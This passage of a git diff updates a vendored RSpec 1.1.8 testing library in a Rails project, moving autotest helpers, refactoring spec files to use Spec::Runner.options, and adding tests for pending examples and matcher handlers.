"stories/resources/spec/simple_spec.rb", "stories/resources/spec/spec_with_flexmock.rb", "stories/resources/steps/running_rspec.rb", "stories/resources/stories/failing_story.rb", "stories/resources/test/spec_and_test_together.rb", "stories/resources/test/test_case_with_should_methods.rb", "stories/stories/multiline_steps.story", "stories/stories/steps/multiline_steps.rb", "stories/stories/stories.rb", "story_server/prototype/javascripts/builder.js", "story_server/prototype/javascripts/controls.js", "story_server/prototype/javascripts/dragdrop.js", "story_server/prototype/javascripts/effects.js", "story_server/prototype/javascripts/prototype.js", "story_server/prototype/javascripts/rspec.js", "story_server/prototype/javascripts/scriptaculous.js", "story_server/prototype/javascripts/slider.js", "story_server/prototype/javascripts/sound.js", "story_server/prototype/javascripts/unittest.js", "story_server/prototype/lib/server.rb", "story_server/prototype/stories.html", "story_server/prototype/stylesheets/rspec.css", "story_server/prototype/stylesheets/test.css"]
+ s.has_rdoc = true
+ s.homepage = %q{http://rspec.info/}
+ s.rdoc_options = ["--main", "README.txt"]
+ s.require_paths = ["lib"]
+ s.rubyforge_project = %q{rspec}
+ s.rubygems_version = %q{1.3.0}
+ s.summary = %q{rspec 1.1.8}
+
+ if s.respond_to? :specification_version then
+ current_version = Gem::Specification::CURRENT_SPECIFICATION_VERSION
+ s.specification_version = 2
+
+ if Gem::Version.new(Gem::RubyGemsVersion) >= Gem::Version.new('1.2.0') then
+ s.add_development_dependency(%q, [">= 1.7.0"])
+ else
+ s.add_dependency(%q, [">= 1.7.0"])
+ end
+ else
+ s.add_dependency(%q, [">= 1.7.0"])
+ end
+end
diff --git a/vendor/plugins/rspec/spec/autotest_helper.rb b/vendor/plugins/rspec/spec/autotest/autotest_helper.rb
similarity index 52%
rename from vendor/plugins/rspec/spec/autotest_helper.rb
rename to vendor/plugins/rspec/spec/autotest/autotest_helper.rb
index 1b6c6002..8a8ff34c 100644
--- a/vendor/plugins/rspec/spec/autotest_helper.rb
+++ b/vendor/plugins/rspec/spec/autotest/autotest_helper.rb
@@ -1,6 +1,6 @@
require "rubygems"
require 'autotest'
dir = File.dirname(__FILE__)
-require "#{dir}/spec_helper"
-require File.expand_path("#{dir}/../lib/autotest/rspec")
+require "#{dir}/../spec_helper"
+require File.expand_path("#{dir}/../../lib/autotest/rspec")
require "#{dir}/autotest_matchers"
diff --git a/vendor/plugins/rspec/spec/autotest_matchers.rb b/vendor/plugins/rspec/spec/autotest/autotest_matchers.rb
similarity index 100%
rename from vendor/plugins/rspec/spec/autotest_matchers.rb
rename to vendor/plugins/rspec/spec/autotest/autotest_matchers.rb
diff --git a/vendor/plugins/rspec/spec/autotest/discover_spec.rb b/vendor/plugins/rspec/spec/autotest/discover_spec.rb
index da5cb144..881c08a1 100644
--- a/vendor/plugins/rspec/spec/autotest/discover_spec.rb
+++ b/vendor/plugins/rspec/spec/autotest/discover_spec.rb
@@ -1,4 +1,4 @@
-require File.dirname(__FILE__) + "/../autotest_helper"
+require File.dirname(__FILE__) + "/autotest_helper"
module DiscoveryHelper
def load_discovery
diff --git a/vendor/plugins/rspec/spec/autotest/rspec_spec.rb b/vendor/plugins/rspec/spec/autotest/rspec_spec.rb
index b4d32cca..87e6fbf6 100644
--- a/vendor/plugins/rspec/spec/autotest/rspec_spec.rb
+++ b/vendor/plugins/rspec/spec/autotest/rspec_spec.rb
@@ -1,4 +1,4 @@
-require File.dirname(__FILE__) + "/../autotest_helper"
+require File.dirname(__FILE__) + "/autotest_helper"
class Autotest
@@ -37,62 +37,6 @@ HERE
end
describe Rspec do
- describe "selection of rspec command" do
- include AutotestHelper
-
- before(:each) do
- common_setup
- @rspec_autotest = Rspec.new
- end
-
- it "should try to find the spec command if it exists in ./bin and use it above everything else" do
- File.stub!(:exists?).and_return true
-
- spec_path = File.expand_path("#{File.dirname(__FILE__)}/../../bin/spec")
- File.should_receive(:exists?).with(spec_path).and_return true
- @rspec_autotest.spec_command.should == spec_path
- end
-
- it "should otherwise select the default spec command in gem_dir/bin/spec" do
- @rspec_autotest.stub!(:spec_commands).and_return ["/foo/spec"]
- Config::CONFIG.stub!(:[]).and_return "/foo"
- File.should_receive(:exists?).with("/foo/spec").and_return(true)
-
- @rspec_autotest.spec_command.should == "/foo/spec"
- end
-
- it "should raise an error if no spec command is found at all" do
- File.stub!(:exists?).and_return false
-
- lambda {
- @rspec_autotest.spec_command
- }.should raise_error(RspecCommandError, "No spec command could be found!")
- end
- end
-
- describe "selection of rspec command (windows compatibility issues)" do
- include AutotestHelper
-
- before(:each) do
- common_setup
- end
-
- it "should use the ALT_SEPARATOR if it is non-nil" do
- @rspec_autotest = Rspec.new
- spec_command = File.expand_path("#{File.dirname(__FILE__)}/../../bin/spec")
- @rspec_autotest.stub!(:spec_commands).and_return [spec_command]
- @rspec_autotest.spec_command(@windows_alt_separator).should == spec_command.gsub('/', @windows_alt_separator)
- end
-
- it "should not use the ALT_SEPATOR if it is nil" do
- @windows_alt_separator = nil
- @rspec_autotest = Rspec.new
- spec_command = File.expand_path("#{File.dirname(__FILE__)}/../../bin/spec")
- @rspec_autotest.stub!(:spec_commands).and_return [spec_command]
- @rspec_autotest.spec_command.should == spec_command
- end
- end
-
describe "adding spec.opts --options" do
before(:each) do
@rspec_autotest = Rspec.new
@@ -116,7 +60,6 @@ HERE
@rspec_autotest.stub!(:add_options_if_present).and_return "-O spec/spec.opts"
@ruby = @rspec_autotest.ruby
- @spec_command = @rspec_autotest.spec_command
@options = @rspec_autotest.add_options_if_present
@files_to_test = {
:spec => ["file_one", "file_two"]
@@ -126,16 +69,13 @@ HERE
@files_to_test.stub!(:keys).and_return @files_to_test[:spec]
@to_test = @files_to_test.keys.flatten.join ' '
end
-
- it "should contain the various commands, ordered by preference" do
- Rspec.new.spec_commands.should == [
- File.expand_path("#{File.dirname(__FILE__)}/../../bin/spec"),
- "#{Config::CONFIG['bindir']}/spec"
- ]
- end
- it "should make the apropriate test command" do
- @rspec_autotest.make_test_cmd(@files_to_test).should == "#{@ruby} -S #{@spec_command} #{@options} #{@to_test}"
+ it "should make the appropriate test command" do
+ @rspec_autotest.make_test_cmd(@files_to_test).should == "#{@ruby} -S #{@to_test} #{@options}"
+ end
+
+ it "should return a blank command for no files" do
+ @rspec_autotest.make_test_cmd({}).should == ''
end
end
@@ -156,7 +96,11 @@ HERE
@rspec_autotest.should map_specs([@spec_file]).to(@spec_file)
end
- it "should only find the file if the file is being tracked (in @file)" do
+ it "should ignore files in spec dir that aren't specs" do
+ @rspec_autotest.should map_specs([]).to("spec/spec_helper.rb")
+ end
+
+ it "should ignore untracked files (in @file)" do
@rspec_autotest.should map_specs([]).to("lib/untracked_file")
end
end
diff --git a/vendor/plugins/rspec/spec/rspec_suite.rb b/vendor/plugins/rspec/spec/rspec_suite.rb
index abd016a6..79133a5d 100644
--- a/vendor/plugins/rspec/spec/rspec_suite.rb
+++ b/vendor/plugins/rspec/spec/rspec_suite.rb
@@ -1,7 +1,6 @@
if __FILE__ == $0
dir = File.dirname(__FILE__)
Dir["#{dir}/**/*_spec.rb"].reverse.each do |file|
-# puts "require '#{file}'"
require file
end
end
diff --git a/vendor/plugins/rspec/spec/spec/adapters/ruby_engine_spec.rb b/vendor/plugins/rspec/spec/spec/adapters/ruby_engine_spec.rb
index 066d3af0..2db79fe2 100644
--- a/vendor/plugins/rspec/spec/spec/adapters/ruby_engine_spec.rb
+++ b/vendor/plugins/rspec/spec/spec/adapters/ruby_engine_spec.rb
@@ -7,4 +7,10 @@ describe Spec::Adapters::RubyEngine do
Spec::Adapters::RubyEngine.stub!(:engine).and_return('rbx')
Spec::Adapters::RubyEngine.adapter.should be_an_instance_of(Spec::Adapters::RubyEngine::Rubinius)
end
+
+ it "should try to find whatever is defined by the RUBY_ENGINE const" do
+ Object.stub!(:const_defined?).with('RUBY_ENGINE').and_return(true)
+ Object.stub!(:const_get).with('RUBY_ENGINE').and_return("xyz")
+ Spec::Adapters::RubyEngine.engine.should == "xyz"
+ end
end
\ No newline at end of file
diff --git a/vendor/plugins/rspec/spec/spec/example/example_group_factory_spec.rb b/vendor/plugins/rspec/spec/spec/example/example_group_factory_spec.rb
index da461cdf..205f5b26 100644
--- a/vendor/plugins/rspec/spec/spec/example/example_group_factory_spec.rb
+++ b/vendor/plugins/rspec/spec/spec/example/example_group_factory_spec.rb
@@ -125,14 +125,14 @@ module Spec
it "should register ExampleGroup by default" do
example_group = Spec::Example::ExampleGroupFactory.create_example_group("The ExampleGroup") do
end
- rspec_options.example_groups.should include(example_group)
+ Spec::Runner.options.example_groups.should include(example_group)
end
it "should enable unregistering of ExampleGroups" do
example_group = Spec::Example::ExampleGroupFactory.create_example_group("The ExampleGroup") do
unregister
end
- rspec_options.example_groups.should_not include(example_group)
+ Spec::Runner.options.example_groups.should_not include(example_group)
end
after(:each) do
diff --git a/vendor/plugins/rspec/spec/spec/example/example_group_methods_spec.rb b/vendor/plugins/rspec/spec/spec/example/example_group_methods_spec.rb
index 014448e5..ca0ec3ae 100644
--- a/vendor/plugins/rspec/spec/spec/example/example_group_methods_spec.rb
+++ b/vendor/plugins/rspec/spec/spec/example/example_group_methods_spec.rb
@@ -3,10 +3,12 @@ require File.dirname(__FILE__) + '/../../spec_helper'
module Spec
module Example
describe 'ExampleGroupMethods' do
- it_should_behave_like "sandboxed rspec_options"
+ include SandboxedOptions
attr_reader :example_group, :result, :reporter
before(:each) do
- options.formatters << mock("formatter", :null_object => true)
+ # See http://rspec.lighthouseapp.com/projects/5645-rspec/tickets/525-arity-changed-on-partial-mocks#ticket-525-2
+ method_with_three_args = lambda { |arg1, arg2, arg3| }
+ options.formatters << mock("formatter", :null_object => true, :example_pending => method_with_three_args)
options.backtrace_tweaker = mock("backtrace_tweaker", :null_object => true)
@reporter = FakeReporter.new(@options)
options.reporter = reporter
@@ -25,7 +27,7 @@ module Spec
end
["describe","context"].each do |method|
- describe "#{method}" do
+ describe "##{method}" do
describe "when creating an ExampleGroup" do
attr_reader :child_example_group
before do
@@ -567,6 +569,13 @@ module Spec
end
end
end
+
+ describe "#options" do
+ it "should expose the options hash" do
+ group = describe("group", :this => 'hash') {}
+ group.options[:this].should == 'hash'
+ end
+ end
end
end
end
diff --git a/vendor/plugins/rspec/spec/spec/example/example_group_spec.rb b/vendor/plugins/rspec/spec/spec/example/example_group_spec.rb
index 36e1cdf0..7fe2f6dc 100644
--- a/vendor/plugins/rspec/spec/spec/example/example_group_spec.rb
+++ b/vendor/plugins/rspec/spec/spec/example/example_group_spec.rb
@@ -65,10 +65,11 @@ module Spec
end
describe ExampleGroup, "#run" do
- it_should_behave_like "sandboxed rspec_options"
+ include SandboxedOptions
attr_reader :example_group, :formatter, :reporter
before :each do
- @formatter = mock("formatter", :null_object => true)
+ method_with_three_args = lambda { |arg1, arg2, arg3| }
+ @formatter = mock("formatter", :null_object => true, :example_pending => method_with_three_args)
options.formatters << formatter
options.backtrace_tweaker = mock("backtrace_tweaker", :null_object => true)
@reporter = FakeReporter.new(options)
@@ -233,7 +234,7 @@ module Spec
options.examples = ["should be run"]
end
- it "should run only the example, when there in only one" do
+ it "should run only the example, when there is only one" do
example_group.run
examples_that_were_run.should == ["should be run"]
end
diff --git a/vendor/plugins/rspec/spec/spec/example/example_methods_spec.rb b/vendor/plugins/rspec/spec/spec/example/example_methods_spec.rb
index dd33c57f..2a30bce7 100644
--- a/vendor/plugins/rspec/spec/spec/example/example_methods_spec.rb
+++ b/vendor/plugins/rspec/spec/spec/example/example_methods_spec.rb
@@ -23,9 +23,9 @@ module Spec
describe "lifecycle" do
before do
- @original_rspec_options = $rspec_options
+ @original_rspec_options = Spec::Runner.options
@options = ::Spec::Runner::Options.new(StringIO.new, StringIO.new)
- $rspec_options = @options
+ Spec::Runner.use @options
@options.formatters << mock("formatter", :null_object => true)
@options.backtrace_tweaker = mock("backtrace_tweaker", :null_object => true)
@reporter = FakeReporter.new(@options)
@@ -43,7 +43,7 @@ module Spec
end
after do
- $rspec_options = @original_rspec_options
+ Spec::Runner.use @original_rspec_options
ExampleMethods.instance_variable_set("@before_all_parts", [])
ExampleMethods.instance_variable_set("@before_each_parts", [])
ExampleMethods.instance_variable_set("@after_each_parts", [])
@@ -83,19 +83,56 @@ module Spec
ExampleMethods.count.should == 7
end
- describe "run_with_description_capturing" do
+ describe "eval_block" do
before(:each) do
- @example_group = Class.new(ExampleGroup) do end
- @example = @example_group.new("foo", &(lambda { 2.should == 2 }))
- @example.run_with_description_capturing
+ @example_group = Class.new(ExampleGroup)
+ end
+
+ describe "with a given description" do
+ it "should provide the given description" do
+ @example = @example_group.it("given description") { 2.should == 2 }
+ @example.eval_block
+ @example.description.should == "given description"
+ end
end
- it "should provide the generated description" do
- @example.instance_eval { @_matcher_description }.should == "should == 2"
+ describe "with no given description" do
+ it "should provide the generated description" do
+ @example = @example_group.it { 2.should == 2 }
+ @example.eval_block
+ @example.description.should == "should == 2"
+ end
end
-
- it "should clear the global generated_description" do
- Spec::Matchers.generated_description.should == nil
+
+ describe "with no implementation" do
+ it "should raise an NotYetImplementedError" do
+ lambda {
+ @example = @example_group.it
+ @example.eval_block
+ }.should raise_error(Spec::Example::NotYetImplementedError, "Not Yet Implemented")
+ end
+
+ def extract_error(&blk)
+ begin
+ blk.call
+ rescue Exception => e
+ return e
+ end
+
+ nil
+ end
+
+ it "should use the proper file and line number for the NotYetImplementedError" do
+ file = __FILE__
+ line_number = __LINE__ + 3
+
+ error = extract_error do
+ @example = @example_group.it
+ @example.eval_block
+ end
+
+ error.pending_caller.should == "#{file}:#{line_number}"
+ end
end
end
end
@@ -122,5 +159,14 @@ module Spec
end
end
end
+
+ describe "#options" do
+ it "should expose the options hash" do
+ example_group = Class.new(ExampleGroup)
+ example = example_group.example "name", :this => 'that' do; end
+ example.options[:this].should == 'that'
+ end
+ end
+
end
-end
\ No newline at end of file
+end
diff --git a/vendor/plugins/rspec/spec/spec/example/example_spec.rb b/vendor/plugins/rspec/spec/spec/example/example_spec.rb
deleted file mode 100644
index c8125b44..00000000
--- a/vendor/plugins/rspec/spec/spec/example/example_spec.rb
+++ /dev/null
@@ -1,53 +0,0 @@
-require File.dirname(__FILE__) + '/../../spec_helper'
-
-module Spec
- module Example
- # describe Example do
- # before(:each) do
- # @example = Example.new "example" do
- # foo
- # end
- # end
- #
- # it "should tell you its docstring" do
- # @example.description.should == "example"
- # end
- #
- # it "should execute its block in the context provided" do
- # context = Class.new do
- # def foo
- # "foo"
- # end
- # end.new
- # @example.run_in(context).should == "foo"
- # end
- # end
- #
- # describe Example, "#description" do
- # it "should default to NO NAME when not passed anything when there are no matchers" do
- # example = Example.new {}
- # example.run_in(Object.new)
- # example.description.should == "NO NAME"
- # end
- #
- # it "should default to NO NAME description (Because of --dry-run) when passed nil and there are no matchers" do
- # example = Example.new(nil) {}
- # example.run_in(Object.new)
- # example.description.should == "NO NAME"
- # end
- #
- # it "should allow description to be overridden" do
- # example = Example.new("Test description")
- # example.description.should == "Test description"
- # end
- #
- # it "should use description generated from matcher when there is no passed in description" do
- # example = Example.new(nil) do
- # 1.should == 1
- # end
- # example.run_in(Object.new)
- # example.description.should == "should == 1"
- # end
- # end
- end
-end
diff --git a/vendor/plugins/rspec/spec/spec/example/pending_module_spec.rb b/vendor/plugins/rspec/spec/spec/example/pending_module_spec.rb
index c3ab0126..3d5fac0b 100644
--- a/vendor/plugins/rspec/spec/spec/example/pending_module_spec.rb
+++ b/vendor/plugins/rspec/spec/spec/example/pending_module_spec.rb
@@ -18,6 +18,17 @@ module Spec
}.should raise_error(ExamplePendingError, /TODO/)
end
+ it 'should raise an ExamplePendingError if a supplied block fails as expected with a mock' do
+ lambda {
+ include Pending
+ pending "TODO" do
+ m = mock('thing')
+ m.should_receive(:foo)
+ m.rspec_verify
+ end
+ }.should raise_error(ExamplePendingError, /TODO/)
+ end
+
it 'should raise a PendingExampleFixedError if a supplied block starts working' do
lambda {
include Pending
@@ -26,6 +37,109 @@ module Spec
end
}.should raise_error(PendingExampleFixedError, /TODO/)
end
+
+ it "should have the correct file and line number for pending given with a block which fails" do
+ file = __FILE__
+ line_number = __LINE__ + 3
+ begin
+ include Pending
+ pending do
+ raise
+ end
+ rescue => error
+ error.pending_caller.should == "#{file}:#{line_number}"
+ end
+ end
+
+ it "should have the correct file and line number for pending given with no block" do
+ file = __FILE__
+ line_number = __LINE__ + 3
+ begin
+ include Pending
+ pending("TODO")
+ rescue => error
+ error.pending_caller.should == "#{file}:#{line_number}"
+ end
+ end
+ end
+
+ describe ExamplePendingError do
+ it "should have the caller (from two calls from initialization)" do
+ two_calls_ago = caller[0]
+ ExamplePendingError.new("a message").pending_caller.should == two_calls_ago
+ end
+
+ it "should keep the trace information from initialization" do
+ two_calls_ago = caller[0]
+ obj = ExamplePendingError.new("a message")
+ obj.pending_caller
+ def another_caller(obj)
+ obj.pending_caller
+ end
+
+ another_caller(obj).should == two_calls_ago
+ end
+
+ it "should have the message provided" do
+ ExamplePendingError.new("a message").message.should == "a message"
+ end
+
+ it "should use a 'ExamplePendingError' as it's default message" do
+ ExamplePendingError.new.message.should == "Spec::Example::ExamplePendingError"
+ end
+ end
+
+ describe NotYetImplementedError do
+ def rspec_root
+ File.expand_path(__FILE__.gsub("/spec/spec/example/pending_module_spec.rb", "/lib"))
+ end
+
+ it "should have the root rspec path" do
+ NotYetImplementedError::RSPEC_ROOT_LIB.should == rspec_root
+ end
+
+ it "should always have the error 'Not Yet Implemented'" do
+ NotYetImplementedError.new([]).message.should == "Not Yet Implemented"
+ end
+
+ describe "pending_caller" do
+ it "should select an element out of the backtrace" do
+ error = NotYetImplementedError.new(["foo/bar.rb:18"])
+
+ error.pending_caller.should == "foo/bar.rb:18"
+ end
+
+ it "should actually report the element from the backtrace" do
+ error = NotYetImplementedError.new(["bar.rb:18"])
+
+ error.pending_caller.should == "bar.rb:18"
+ end
+
+ it "should not use an element with the rspec root path" do
+ error = NotYetImplementedError.new(["#{rspec_root}:8"])
+
+ error.pending_caller.should be_nil
+ end
+
+ it "should select the first line in the backtrace which isn't in the rspec root" do
+ error = NotYetImplementedError.new([
+ "#{rspec_root}/foo.rb:2",
+ "#{rspec_root}/foo/bar.rb:18",
+ "path1.rb:22",
+ "path2.rb:33"
+ ])
+
+ error.pending_caller.should == "path1.rb:22"
+ end
+
+ it "should cache the caller" do
+ backtrace = mock('backtrace')
+ backtrace.should_receive(:detect).once
+
+ error = NotYetImplementedError.new(backtrace)
+ error.pending_caller.should == error.pending_caller
+ end
+ end
end
end
end
diff --git a/vendor/plugins/rspec/spec/spec/example/shared_example_group_spec.rb b/vendor/plugins/rspec/spec/spec/example/shared_example_group_spec.rb
index 803536ab..508347d5 100644
--- a/vendor/plugins/rspec/spec/spec/example/shared_example_group_spec.rb
+++ b/vendor/plugins/rspec/spec/spec/example/shared_example_group_spec.rb
@@ -3,7 +3,7 @@ require File.dirname(__FILE__) + '/../../spec_helper'
module Spec
module Example
describe ExampleGroup, "with :shared => true" do
- it_should_behave_like "sandboxed rspec_options"
+ include SandboxedOptions
attr_reader :formatter, :example_group
before(:each) do
@formatter = Spec::Mocks::Mock.new("formatter", :null_object => true)
diff --git a/vendor/plugins/rspec/spec/spec/expectations/extensions/object_spec.rb b/vendor/plugins/rspec/spec/spec/expectations/extensions/object_spec.rb
index 0d9335bd..bd75255a 100644
--- a/vendor/plugins/rspec/spec/spec/expectations/extensions/object_spec.rb
+++ b/vendor/plugins/rspec/spec/spec/expectations/extensions/object_spec.rb
@@ -39,12 +39,6 @@ describe Object, "#should" do
}.should raise_error(Spec::Expectations::InvalidMatcherError)
end
- it "should raise error if it receives nil" do
- lambda {
- @target.should nil
- }.should raise_error(Spec::Expectations::InvalidMatcherError)
- end
-
it "should raise error if it receives no argument and it is not used as a left side of an operator" do
pending "Is it even possible to catch this?"
lambda {
@@ -92,12 +86,6 @@ describe Object, "#should_not" do
}.should raise_error(Spec::Expectations::InvalidMatcherError)
end
- it "should raise error if it receives nil" do
- lambda {
- @target.should_not nil
- }.should raise_error(Spec::Expectations::InvalidMatcherError)
- end
-
it "should raise error if it receives no argument and it is not used as a left side of an operator" do
pending "Is it even possible to catch this?"
lambda {
diff --git a/vendor/plugins/rspec/spec/spec/extensions/main_spec.rb b/vendor/plugins/rspec/spec/spec/extensions/main_spec.rb
index aabb616e..ef56c4eb 100644
--- a/vendor/plugins/rspec/spec/spec/extensions/main_spec.rb
+++ b/vendor/plugins/rspec/spec/spec/extensions/main_spec.rb
@@ -3,7 +3,7 @@ require File.dirname(__FILE__) + '/../../spec_helper.rb'
module Spec
module Extensions
describe Main do
- it_should_behave_like "sandboxed rspec_options"
+ include SandboxedOptions
before(:each) do
@main = Class.new do; include Main; end
end
@@ -12,11 +12,6 @@ module Spec
$rspec_story_steps = @original_rspec_story_steps
end
- it "should create an Options object" do
- @main.send(:rspec_options).should be_instance_of(Spec::Runner::Options)
- @main.send(:rspec_options).should === $rspec_options
- end
-
specify {@main.should respond_to(:describe)}
specify {@main.should respond_to(:context)}
@@ -30,7 +25,7 @@ module Spec
it "should registered ExampleGroups by default" do
example_group = @main.describe("The ExampleGroup") do end
- rspec_options.example_groups.should include(example_group)
+ Spec::Runner.options.example_groups.should include(example_group)
end
it "should not run unregistered ExampleGroups" do
@@ -38,7 +33,7 @@ module Spec
unregister
end
- rspec_options.example_groups.should_not include(example_group)
+ Spec::Runner.options.example_groups.should_not include(example_group)
end
it "should create a shared ExampleGroup with share_examples_for" do
diff --git a/vendor/plugins/rspec/spec/spec/interop/test/unit/resources/spec_with_options_hash.rb b/vendor/plugins/rspec/spec/spec/interop/test/unit/resources/spec_with_options_hash.rb
new file mode 100644
index 00000000..759adbb0
--- /dev/null
+++ b/vendor/plugins/rspec/spec/spec/interop/test/unit/resources/spec_with_options_hash.rb
@@ -0,0 +1,13 @@
+rspec_lib = File.dirname(__FILE__) + "/../../../../../../lib"
+$:.unshift rspec_lib unless $:.include?(rspec_lib)
+require 'test/unit'
+require 'spec'
+
+describe "options hash" do
+ describe "#options" do
+ it "should expose the options hash" do
+ group = describe("group", :this => 'hash') {}
+ group.options[:this].should == 'hash'
+ end
+ end
+end
\ No newline at end of file
diff --git a/vendor/plugins/rspec/spec/spec/interop/test/unit/spec_spec.rb b/vendor/plugins/rspec/spec/spec/interop/test/unit/spec_spec.rb
index 8a1e1300..7d76e089 100644
--- a/vendor/plugins/rspec/spec/spec/interop/test/unit/spec_spec.rb
+++ b/vendor/plugins/rspec/spec/spec/interop/test/unit/spec_spec.rb
@@ -42,4 +42,11 @@ describe "ExampleGroup with test/unit/interop" do
$?.should == 256
end
end
+
+ describe "options hash" do
+ it "should be exposed" do
+ output = ruby("#{@dir}/spec_with_options_hash.rb")
+ output.should include("1 example, 0 failures")
+ end
+ end
end
\ No newline at end of file
diff --git a/vendor/plugins/rspec/spec/spec/interop/test/unit/testcase_spec.rb b/vendor/plugins/rspec/spec/spec/interop/test/unit/testcase_spec.rb
index f40111a5..e67bfa46 100644
--- a/vendor/plugins/rspec/spec/spec/interop/test/unit/testcase_spec.rb
+++ b/vendor/plugins/rspec/spec/spec/interop/test/unit/testcase_spec.rb
@@ -42,4 +42,8 @@ describe "Test::Unit::TestCase" do
$?.should == 256
end
end
+
+ describe "not yet implemented examples:" do
+ it "this example should be reported as pending (not an error)"
+ end
end
\ No newline at end of file
diff --git a/vendor/plugins/rspec/spec/spec/matchers/change_spec.rb b/vendor/plugins/rspec/spec/spec/matchers/change_spec.rb
index d95aa6da..28c2a0b0 100644
--- a/vendor/plugins/rspec/spec/spec/matchers/change_spec.rb
+++ b/vendor/plugins/rspec/spec/spec/matchers/change_spec.rb
@@ -55,10 +55,9 @@ describe "should change { block }" do
end.should fail_with("result should have changed, but is still 5")
end
- it "should warn if passed a block using do/end" do
+ it "should warn if passed a block using do/end instead of {}" do
lambda do
- lambda {}.should change do
- end
+ lambda {}.should change do; end
end.should raise_error(Spec::Matchers::MatcherError, /block passed to should or should_not/)
end
end
@@ -79,10 +78,9 @@ describe "should_not change { block }" do
end.should fail_with("result should not have changed, but did change from 5 to 6")
end
- it "should warn if passed a block using do/end" do
+ it "should warn if passed a block using do/end instead of {}" do
lambda do
- lambda {}.should_not change do
- end
+ lambda {}.should_not change do; end
end.should raise_error(Spec::Matchers::MatcherError, /block passed to should or should_not/)
end
end
@@ -317,3 +315,15 @@ describe "should change{ block }.from(old).to(new)" do
lambda { @instance.some_value = "cat" }.should change{@instance.some_value}.from("string").to("cat")
end
end
+
+describe Spec::Matchers::Change do
+ it "should work when the receiver has implemented #send" do
+ @instance = SomethingExpected.new
+ @instance.some_value = "string"
+ def @instance.send(*args); raise "DOH! Library developers shouldn't use #send!" end
+
+ lambda {
+ lambda { @instance.some_value = "cat" }.should change(@instance, :some_value)
+ }.should_not raise_error
+ end
+end
diff --git a/vendor/plugins/rspec/spec/spec/matchers/handler_spec.rb b/vendor/plugins/rspec/spec/spec/matchers/handler_spec.rb
index ad4fe6f8..74c1f017 100644
--- a/vendor/plugins/rspec/spec/spec/matchers/handler_spec.rb
+++ b/vendor/plugins/rspec/spec/spec/matchers/handler_spec.rb
@@ -48,53 +48,73 @@ end
module Spec
module Expectations
- describe ExpectationMatcherHandler, ".handle_matcher" do
- it "should ask the matcher if it matches" do
- matcher = mock("matcher")
- actual = Object.new
- matcher.should_receive(:matches?).with(actual).and_return(true)
- ExpectationMatcherHandler.handle_matcher(actual, matcher)
- end
-
- it "should explain when the matcher parameter is not a matcher" do
- begin
- nonmatcher = mock("nonmatcher")
+ describe ExpectationMatcherHandler do
+ describe "#handle_matcher" do
+ it "should ask the matcher if it matches" do
+ matcher = mock("matcher")
actual = Object.new
- ExpectationMatcherHandler.handle_matcher(actual, nonmatcher)
- rescue Spec::Expectations::InvalidMatcherError => e
+ matcher.should_receive(:matches?).with(actual).and_return(true)
+ ExpectationMatcherHandler.handle_matcher(actual, matcher)
end
+
+ it "should explain when the matcher parameter is not a matcher" do
+ begin
+ nonmatcher = mock("nonmatcher")
+ actual = Object.new
+ ExpectationMatcherHandler.handle_matcher(actual, nonmatcher)
+ rescue Spec::Expectations::InvalidMatcherError => e
+ end
- e.message.should =~ /^Expected a matcher, got /
+ e.message.should =~ /^Expected a matcher, got /
+ end
+
+ it "should return the match value" do
+ matcher = mock("matcher")
+ actual = Object.new
+ matcher.should_receive(:matches?).with(actual).and_return(:this_value)
+ ExpectationMatcherHandler.handle_matcher(actual, matcher).should == :this_value
+ end
end
end
- describe NegativeExpectationMatcherHandler, ".handle_matcher" do
- it "should explain when matcher does not support should_not" do
- matcher = mock("matcher")
- matcher.stub!(:matches?)
- actual = Object.new
- lambda {
- NegativeExpectationMatcherHandler.handle_matcher(actual, matcher)
- }.should fail_with(/Matcher does not support should_not.\n/)
- end
-
- it "should ask the matcher if it matches" do
- matcher = mock("matcher")
- actual = Object.new
- matcher.stub!(:negative_failure_message)
- matcher.should_receive(:matches?).with(actual).and_return(false)
- NegativeExpectationMatcherHandler.handle_matcher(actual, matcher)
- end
-
- it "should explain when the matcher parameter is not a matcher" do
- begin
- nonmatcher = mock("nonmatcher")
+ describe NegativeExpectationMatcherHandler do
+ describe "#handle_matcher" do
+ it "should explain when matcher does not support should_not" do
+ matcher = mock("matcher")
+ matcher.stub!(:matches?)
actual = Object.new
- NegativeExpectationMatcherHandler.handle_matcher(actual, nonmatcher)
- rescue Spec::Expectations::InvalidMatcherError => e
+ lambda {
+ NegativeExpectationMatcherHandler.handle_matcher(actual, matcher)
+ }.should fail_with(/Matcher does not support should_not.\n/)
+ end
+
+ it "should ask the matcher if it matches" do
+ matcher = mock("matcher")
+ actual = Object.new
+ matcher.stub!(:negative_failure_message)
+ matcher.should_receive(:matches?).with(actual).and_return(false)
+ NegativeExpectationMatcherHandler.handle_matcher(actual, matcher)
+ end
+
+ it "should explain when the matcher parameter is not a matcher" do
+ begin
+ nonmatcher = mock("nonmatcher")
+ actual = Object.new
+ NegativeExpectationMatcherHandler.handle_matcher(actual, nonmatcher)
+ rescue Spec::Expectations::InvalidMatcherError => e
+ end
+
+ e.message.should =~ /^Expected a matcher, got /
end
- e.message.should =~ /^Expected a matcher, got /
+
+ it "should return the match value" do
+ matcher = mock("matcher")
+ actual = Object.new
+ matcher.should_receive(:matches?).with(actual).and_return(false)
+ matcher.stub!(:negative_failure_message).and_return("ignore")
+ NegativeExpectationMatcherHandler.handle_matcher(actual, matcher).should be_false
+ end
end
end
@@ -124,6 +144,7 @@ module Spec
}.should fail_with(/Matcher does not support should_not.\n/)
end
+
end
end
end
diff --git a/vendor/plugins/rspec/spec/spec/matchers/has_spec.rb b/vendor/plugins/rspec/spec/spec/matchers/has_spec.rb
index 648ad865..db7a1210 100644
--- a/vendor/plugins/rspec/spec/spec/matchers/has_spec.rb
+++ b/vendor/plugins/rspec/spec/spec/matchers/has_spec.rb
@@ -51,3 +51,13 @@ describe "should_not have_sym(*args)" do
lambda { o.should_not have_sym(:foo) }.should raise_error("Funky exception")
end
end
+
+describe Spec::Matchers::Has do
+ it "should work when the target implements #send" do
+ o = {:a => "A"}
+ def o.send(*args); raise "DOH! Library developers shouldn't use #send!" end
+ lambda {
+ o.should have_key(:a)
+ }.should_not raise_error
+ end
+end
diff --git a/vendor/plugins/rspec/spec/spec/matchers/have_spec.rb b/vendor/plugins/rspec/spec/spec/matchers/have_spec.rb
index 187b1d6f..7b178d11 100644
--- a/vendor/plugins/rspec/spec/spec/matchers/have_spec.rb
+++ b/vendor/plugins/rspec/spec/spec/matchers/have_spec.rb
@@ -50,8 +50,9 @@ end
describe 'should have(1).item when ActiveSupport::Inflector is defined' do
include HaveSpecHelper
- before do
+ before(:each) do
unless defined?(ActiveSupport::Inflector)
+ @active_support_was_not_defined
